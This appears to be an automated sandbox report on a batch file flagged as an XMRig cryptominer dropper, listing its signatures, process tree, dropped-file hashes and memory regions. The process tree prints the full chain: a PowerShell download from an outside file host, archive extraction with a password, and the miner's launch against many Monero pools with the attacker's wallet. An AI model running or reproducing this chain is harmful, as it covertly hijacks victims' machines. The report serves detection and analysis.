Analysis

  • max time kernel
    2699s
  • max time network
    2684s
  • platform
    windows10-1703_x64
  • resource
    win10-20231023-en
  • resource tags

    arch:x64arch:x86image:win10-20231023-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-11-2023 16:49

General

  • Target

    exec - Copy (10).bat

  • Size

    265B

  • MD5

    9af2ed06e6ab40274fcf074efa29c149

  • SHA1

    27f6ffb68ea4a7269e172ac6c4f750ccbb7f4dae

  • SHA256

    f83a41d60790e114cfd91038dea87af4cc88733b24c36a0bd046a23352904977

  • SHA512

    cba0714e21a167b00b5b16588d30ae31dd09752d25faa671cf2108c02194288ba509758476449f69a621d1239fc9365287cbdc3e34fb856870cffed7dffbb467

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exec - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Invoke-WebRequest -Uri https://litter.catbox.moe/9wbtsy.zip -OutFile files.zip"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'files.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "./7zr.exe e x.7z -pamogus6969"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4324
      • C:\Users\Admin\AppData\Local\Temp\7zr.exe
        "C:\Users\Admin\AppData\Local\Temp\7zr.exe" e x.7z -pamogus6969
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4360
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Users\Admin\AppData\Local\Temp\xmrig.exe
        xmrig.exe --donate-level 2 -o xmrpool.eu:9999 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.xmrfast.com:9000 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.supportxmr.com:443 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.xmr.pt:9000 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls --coin monero -o xmr-us-west1.nanopool.org:14433 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx --tls --coin monero -o monerohash.com:9999 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -a rx/0 -o ca.monero.herominers.com:10191 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.hashvault.pro:443 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o xmr.pool.gntl.co.uk:20009 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2172

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0a867fa3269abeffcd8b6b52feff3e1d

    SHA1

    58a9a825a0fdce2bab87e96948ee0920560aa3f3

    SHA256

    0fda5bf81e6036994ee7beed05bbeff3c0f6809cfbd4acd29afae81ac0ef70f6

    SHA512

    15023e8e6744ef716b82fb482466f1a163a828152e391861373c3546a5441c73e2dd5d351a11561d7887bb60c9dcd071af67dda32975312bc5ede56a32cca68c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6ec3d9e46a2bb26f57532f40a7e3ad1b

    SHA1

    1d5e31882f8dfbf31607b51b8304a6b4521f26bd

    SHA256

    ef70f0aa55226512d9c02aaf47543a13b44692812165e28b266e9228247e543c

    SHA512

    256649c8242a8737a9dc6702a7eb51904f5a51377b17ef18ab3ff4f46993997f6236a1a7ec838f9cbfe20c1251765e1f1151a8100971a005d5b7764921c6c5e8

  • C:\Users\Admin\AppData\Local\Temp\7zr.exe

    Filesize

    571KB

    MD5

    58fc6de6c4e5d2fda63565d54feb9e75

    SHA1

    0586248c327d21efb8787e8ea9f553ddc03493ec

    SHA256

    72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b

    SHA512

    e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df

  • C:\Users\Admin\AppData\Local\Temp\7zr.exe

    Filesize

    571KB

    MD5

    58fc6de6c4e5d2fda63565d54feb9e75

    SHA1

    0586248c327d21efb8787e8ea9f553ddc03493ec

    SHA256

    72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b

    SHA512

    e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5pnz5wuj.zu2.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\files.zip

    Filesize

    2.6MB

    MD5

    bc2d23b8640cb0adeb6abedf21f8f1ad

    SHA1

    ea14b8511c87bb1853d315ed73e9f1cbbcf7997e

    SHA256

    7c74993c15f3ee8890047816ba52efc601fb901daf5a6c969aa04c934b1801f9

    SHA512

    c6b537e326de7cfeee32f11477a41bbf0d45dcf104ecbffa765af09e20fdb64f45e022a3ba9755bd61791fb7c44317018d66923b6f51223df2a2d34927f8dd42

  • C:\Users\Admin\AppData\Local\Temp\start.cmd

    Filesize

    1KB

    MD5

    9b02fd81dae8f292d7e69cfaf72d9204

    SHA1

    e5c6345f44dac6c97fdf5ba5e5f0826d6ce18ddb

    SHA256

    b459b571e881f3d083a869559e64b36bd80f77ca744211d2b79546aeed65d146

    SHA512

    0a103ae47320268607615515f8bdc6ed630426ca055c3208a5613513505ab21f699a75d69da51ebb0fb36aaa57a2babbeacc5e965b4e712d547311224ed80f2d

  • C:\Users\Admin\AppData\Local\Temp\x.7z

    Filesize

    2.3MB

    MD5

    44075a11a1f6f20c370b01141e9e010b

    SHA1

    d4107a6877af9b8f12df378c7b5d62dfc6a52549

    SHA256

    643c4865ebbc810c7ce157edab89c021d3d31f725d1a73d2f3c423b8fc778cb3

    SHA512

    f56451b623365e3dbd56eff083bf906a87f51511111aafe3f09ce649edf04fc8418f5d36f6d522c643cf57baff5fdca4c1d6901798fdbd88af8f0bb8c11583a2

  • C:\Users\Admin\AppData\Local\Temp\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2172-164-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-151-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-170-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-209-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-208-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-207-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-206-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-205-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-204-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-203-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-202-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-201-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-200-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-199-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-198-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-141-0x000001E6731C0000-0x000001E6731E0000-memory.dmp

    Filesize

    128KB

  • memory/2172-142-0x000001E674AC0000-0x000001E674B00000-memory.dmp

    Filesize

    256KB

  • memory/2172-143-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-144-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-168-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-146-0x000001E674B20000-0x000001E674B40000-memory.dmp

    Filesize

    128KB

  • memory/2172-147-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-148-0x000001E674B00000-0x000001E674B20000-memory.dmp

    Filesize

    128KB

  • memory/2172-149-0x000001E674B20000-0x000001E674B40000-memory.dmp

    Filesize

    128KB

  • memory/2172-150-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-169-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-152-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-153-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-154-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-155-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-156-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-157-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-158-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-159-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-160-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-161-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-162-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-163-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-197-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-165-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-166-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-167-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-145-0x000001E674B00000-0x000001E674B20000-memory.dmp

    Filesize

    128KB

  • memory/2172-196-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-195-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-171-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-172-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-173-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-174-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-175-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-176-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-177-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-178-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-179-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-180-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-181-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-182-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-183-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-184-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-185-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-186-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-187-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-188-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-189-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-190-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-191-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-192-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-193-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2172-194-0x00007FF744B30000-0x00007FF745633000-memory.dmp

    Filesize

    11.0MB

  • memory/2232-106-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB

  • memory/2232-43-0x0000020494CA0000-0x0000020494CB0000-memory.dmp

    Filesize

    64KB

  • memory/2232-44-0x0000020494CA0000-0x0000020494CB0000-memory.dmp

    Filesize

    64KB

  • memory/2232-83-0x00000204AD1C0000-0x00000204AD1D2000-memory.dmp

    Filesize

    72KB

  • memory/2232-96-0x00000204AD1B0000-0x00000204AD1BA000-memory.dmp

    Filesize

    40KB

  • memory/2232-41-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB

  • memory/2232-69-0x0000020494CA0000-0x0000020494CB0000-memory.dmp

    Filesize

    64KB

  • memory/4324-111-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB

  • memory/4324-134-0x000001ADBABA0000-0x000001ADBABB0000-memory.dmp

    Filesize

    64KB

  • memory/4324-137-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB

  • memory/4764-4-0x000001F715F10000-0x000001F715F32000-memory.dmp

    Filesize

    136KB

  • memory/4764-8-0x000001F72E680000-0x000001F72E690000-memory.dmp

    Filesize

    64KB

  • memory/4764-31-0x000001F72E680000-0x000001F72E690000-memory.dmp

    Filesize

    64KB

  • memory/4764-10-0x000001F72E5A0000-0x000001F72E616000-memory.dmp

    Filesize

    472KB

  • memory/4764-36-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB

  • memory/4764-26-0x000001F72E680000-0x000001F72E690000-memory.dmp

    Filesize

    64KB

  • memory/4764-5-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB

  • memory/4764-6-0x000001F72E680000-0x000001F72E690000-memory.dmp

    Filesize

    64KB

  • memory/4764-30-0x00007FF9E37B0000-0x00007FF9E419C000-memory.dmp

    Filesize

    9.9MB